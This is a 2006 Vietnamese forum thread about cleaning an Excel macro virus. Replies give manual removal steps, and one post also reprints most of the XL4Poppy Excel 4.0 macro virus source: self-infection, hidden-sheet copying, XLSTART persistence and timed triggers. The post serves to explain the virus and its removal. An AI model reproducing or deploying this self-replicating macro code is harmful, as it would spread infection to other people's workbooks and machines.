Cách để diệt Macro trong Excel

English | Vietnamese

Rules

Main Forum

Portal

Member Listing

Statistics

Search

Reading Room
[Register]

Login [ | https ]

Forum Index

Thảo luận virus, trojan, spyware, worm...

Cách để diệt Macro trong Excel

[Question] Cách để diệt Macro trong Excel	27/06/2006 02:24:42 (+0700) \| #1 \| 1086

neomatrix
Member

Joined: 18/08/2005 06:30:02
Messages: 47
Location: xxMatrixReloadedxx
Offline

Chào tất cả thành viên HVA rất vui khi HVA hoạt động trở lại smilie

Cho mình hỏi có cách nào để xóa các Macro bị nhiễm trong Excel k? reply cho mình với.thankx

[Question] Cách để diệt Macro trong Excel	27/06/2006 04:48:47 (+0700) \| #2 \| 1146

chupichu
Elite Member

Joined: 16/07/2004 14:17:57
Messages: 229
Location: Lầu Xanh
Offline

Diệt thủ công như unhide sheet rồi xoá XL4poppy
Còn hạn chế thì nên ài đặt mức độ bảo mật macro ở "high"

Where Have You Gone..

[Question] Re: Cách để diệt Macro trong Excel	28/06/2006 01:18:53 (+0700) \| #3 \| 1485

neomatrix
Member

Joined: 18/08/2005 06:30:02
Messages: 47
Location: xxMatrixReloadedxx
Offline

Nói rõ hơn một chút đi bạn.Các file Excel của mình bị dính Macro làm cho dug lượng lớn lên nhiều lắm.Thankx

[Question] Cách để diệt Macro trong Excel	28/06/2006 23:38:48 (+0700) \| #4 \| 1764

chupichu
Elite Member

Joined: 16/07/2004 14:17:57
Messages: 229
Location: Lầu Xanh
Offline

Trường hợp của bạn có 'tình trạng' như thế nào ? Bạn có biết tên của nó ko ?
Cách thủ công mà mình nói
1: Xoá file không có phần mở rộng hoặc có tên file là book1 khỏi thư mục:
...\XLSTART\
2: để diệt virus trong file đấy thì bạn phải mở file đó ra, sau đó vào format=> sheet=> unhide. Bạn sẽ thấy có 1 sheet ẩn trong đó. bạn xoá sheet nay đi vì đấy chính là virus bám vào file của bạn.
3: Ghi file này lại.
Thế là file đó của bạn không còn virus nữa.
Để xoá các file khác bạn làm tương tự như trên.
p.s: Hình như cái anti virus BKAV có thể diệt được các marco thì phải smilie

(chưa xài nhưng hình như vậy)

Where Have You Gone..

[Question] Cách để diệt Macro trong Excel	29/06/2006 00:08:34 (+0700) \| #5 \| 1780

hoangle56
Member

Joined: 22/02/2004 05:24:14
Messages: 13
Offline

Không phải vậy đâu, Macro là một đoạn mã Basic đính kèm theo Excel. Nếu người ta mà add-in rồi thì có mà xóa hết đi mới hết Macro.

[Question] Re: Cách để diệt Macro trong Excel	07/07/2006 01:24:06 (+0700) \| #6 \| 4586

neomatrix
Member

Joined: 18/08/2005 06:30:02
Messages: 47
Location: xxMatrixReloadedxx
Offline

:!: Uhm!! Nếu là Macro do mình viết bằng VB thì không có chuyện gì rồi,nhưng khổ nổi những file excel của mình nó bị lây nhiễm Macro từ các file Excel khác, và nó hoạt động không bình thường : ví dụ như gởi mail có đính kèm theo 1 file excel thì người nhận lại nhận được 2 file excel một lần.

[Question] Cách để diệt Macro trong Excel	10/07/2006 21:06:42 (+0700) \| #7 \| 5562

bienxanhlunglinh
Member

Joined: 30/08/2005 07:23:16
Messages: 9
Offline

neomatrix wrote:

Chào tất cả thành viên HVA rất vui khi HVA hoạt động trở lại
Cho mình hỏi có cách nào để xóa các Macro bị nhiễm trong Excel k? reply cho mình với.thankx

**Simple Payload**
=ALERT("XF. VicodinES", 2)
=ALERT("ⓒ Network", 2)
=RETURN()

**Add New Workbook, Infect It, Save It As ÿÿÿÿÿ.xls**
=IF(FILES(A3)="ÿÿÿÿÿ.",0,99)
=ERROR(TRUE,MakeIt)
=IF(A21=0)
=RETURN()
=END.IF()
=NEW(1)
=WORKBOOK.INSERT(1)
=WORKBOOK.INSERT(1)
=ACTIVATE.PREV()
=RUN(C18)
=WORKBOOK.COPY("XL4Poppy",A1)
=WORKBOOK.NAME("Sheet3","Sheet99")
=WORKBOOK.NAME("Sheet1","Sheet3")
=WORKBOOK.NAME("Sheet99","Sheet1")
=PROTECT.DOCUMENT(TRUE,,"VicodinES",TRUE)
=WORKBOOK.PREV()
=WORKBOOK.PREV()
=WORKBOOK.PREV()
=SAVE.AS(A3)
=FILE.CLOSE()
=RETURN()
=WORKBOOK.HIDE("XL4Poppy")

**Auto and On Sheet Starts Here**
=RUN(C18)
=ERROR(TRUE, Continue)
=IF(A4=3)
=RETURN()
=END.IF()
=ERROR(FALSE)
=RUN(A21)
=ON.TIME("6:30:00 PM", "Hello")
=ON.TIME("6:30:00 AM", "")
=ON.SHEET(,"Poppy",TRUE)
=RETURN()

**Set Our Values and Paths**
=SET.VALUE($A$3,(GET.WORKSPACE(32) & "\xlstart\ÿÿÿÿÿ."))
=SET.NAME("Document_array", DOCUMENTS())
=SET.VALUE($A$1, INDE smilie

Document_array,2))
=SET.VALUE($A$2, INDE smilie

Document_array,1))
=SET.VALUE($A$4,GET.DOCUMENT(3,"["&A1&"]"&"XL4Poppy"))
=RETURN()

**Infect Workbook**
=RUN(C19)
=ERROR(TRUE,Bust)
=IF(A4=3)
=RETURN()
=ERROR(FALSE)
=ACTIVATE.PREV()
=RUN(C19)
=WORKBOOK.COPY("XL4Poppy",A1)
=END.IF()
=RETURN()

=APP.TITLE("XF.Classic.Poppy")
=MESSAGE(TRUE, " good morning!")
=RETURN()

Hãy làm như các bạn đã chỉ dẫn:
- fomart -> lần lượt unhide sheet và xoá tất cả các shhet do macro sinh ra [XL 4Popy] (tăng lên theo số lần kích hoạt 2,3,4...) = lúc này bạn đã xoá được các nội dung mà macro code dùng để lây nhiễm.
- lần lượt xoá hết các book hoặc ÿÿÿÿÿ trong C:\Program Files\Microsoft Office\OFFICE11\xlstart
- Rất nhiều trường hợp sau khi xoá các sheet macro hiden này (Macro ko lây lan được nũa) nhưng vẫn tồn tại các code kêu macro cụ thể là các thủ tục điểu khiển hiend như Auto_close, Auto_open, Bút, continue..vv. khiến phiên làm việc với file dữ liệu thêm rắc rối, và có thể gây phiền toái với các bạn mà skill máy tính là chưa nhiều. Bạn cần phải xoá hết các thủ tục này rồi save lại. Xong.

- Loại macro kiểu thế này thì Anti BKAV mù, NAV phát hiện được thao tác del vẫn tốt nhưng thực ra thì ko diệt đc. Mong bạn thành công.
- Có gì trục trặc bạn contact với bienxanhlunglinh Y!M: nha_que_mu_tin_hoc

Go to:

Users currently in here
1 Anonymous